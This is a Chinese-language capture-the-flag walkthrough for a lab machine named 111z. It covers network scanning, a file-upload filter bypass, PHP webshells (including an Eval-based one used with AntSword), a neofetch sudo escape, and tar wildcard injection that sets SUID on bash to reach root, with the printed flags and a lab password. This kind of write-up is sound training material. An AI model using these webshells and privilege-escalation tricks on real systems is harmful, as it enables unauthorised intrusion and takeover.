111的处女作,非常不错,期待下一个靶机
这是他的博客https://the0n3.top/
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.138 08:00:27:ea:d6:99 PCS Systemtechnik GmbH
...192.168.205.138
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.138
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
...直接看80
一个在线图床的上传页,源码有提示
...
const allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
...这个一眼前端校验,先上传一个允许的,bp抓包就可以绕过了
先尝试一个cmd.php
被拦截了,提示被抓了关键词 phpinfo, ;
这个有两个主流的打法
第一种(读)
传
<?php echo implode("\n",$_GET[0]($_GET[1]))?>这个没有被拦截,这个传上去,他会告诉你改成了什么文件
比如我这个就是691d91116d25e.php
先读phpinfo,上传路径可以直接猜出来就是/uploads
http://192.168.205.138/uploads/691d91116d25e.php?0=phpinfo&1=999999主要看ban的函数
常见的都被ban了
我没啥好办法,经过尝试readfile可以读文件,读passwd文件知道了两个用户ll,mj,两个都没有进入家目录的权限,然后扒拉到/opt发现了一个密码
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 'http://192.168.205.138/uploads/691d91116d25e.php?0=scandir&1=/opt'
.
..
backup
llpass.txt
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 'http://192.168.205.138/uploads/691d91116d25e.php?0=readfile&1=/opt/llpass.txt'
ll:Bp2tFMYfElkoMWlOUsOD1C30
第二种(拿shell)
看了一下111的wp,他其中写到了eval不算函数,算是语言解析,所以这个是ban不了的,改些字母就绕过了
所以上传一个
<?php Eval($_POST['ant']) ?>691d92ad65cd1.php
打开蚁剑
后面就可以直接读文件之类的操作拿到密码
或者拿绕过插件拿一下shell
模式选择LD_PRELOAD就ok了,然后启动根目录改成/uploads的
然后刷新/uploads的目录会多一个.antproxy.php
拿蚁剑连一手就ok了
终端我试过了,没问题
我这里就直接ssh 密码连接了
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh ll@192.168.205.138
...
ll@111z:~$ id
uid=1000(ll) gid=1000(ll) groups=1000(ll)
ll@111z:~$ sudo -l
Matching Defaults entries for ll on 111z:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ll may run the following commands on 111z:
(mj) NOPASSWD: /usr/bin/neofetch没啥好说的,https://gtfobins.github.io/查表秒了
ll@111z:~$ echo 'exec /bin/sh' > /dev/shm/a
ll@111z:~$ sudo -u mj /usr/bin/neofetch --config /dev/shm/a
$ bash
mj@111z:/home/ll$ id
uid=1001(mj) gid=1001(mj) groups=1001(mj),33(www-data)
mj@111z:/home/ll$ sudo -l
Matching Defaults entries for mj on 111z:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mj may run the following commands on 111z:
(root) NOPASSWD: /opt/backup/backup.sh
mj@111z:/home/ll$ cat /opt/backup/backup.sh
#!/bin/bash
# 网站上传文件备份脚本
cd /var/www/html/uploads
tar czf /tmp/backup.tar.gz *
echo "Backup completed"也没啥好说的,这tar随便拼接
mj@111z:/opt$ cd /var/www/html/uploads
mj@111z:/var/www/html/uploads$ echo "" > "--checkpoint=1"
mj@111z:/var/www/html/uploads$ echo "" > "--checkpoint-action=exec=sh shell.sh"
mj@111z:/var/www/html/uploads$ echo 'chmod +s /bin/bash' >> shell.sh
mj@111z:/var/www/html/uploads$ chmod +x shell.sh
mj@111z:/var/www/html/uploads$ sudo /opt/backup/backup.sh
Backup completed
mj@111z:/var/www/html/uploads$ bash -p
bash-5.0# id
uid=1001(mj) gid=1001(mj) euid=0(root) egid=0(root) groups=0(root),33(www-data),1001(mj)
bash-5.0# cat /root/root.txt /home/mj/user.txt
flag{root-2a7f2ddaed104d739e85e9857ab8fd04}
flag{user-5450dba90b514d69935be5eafbfd0077}





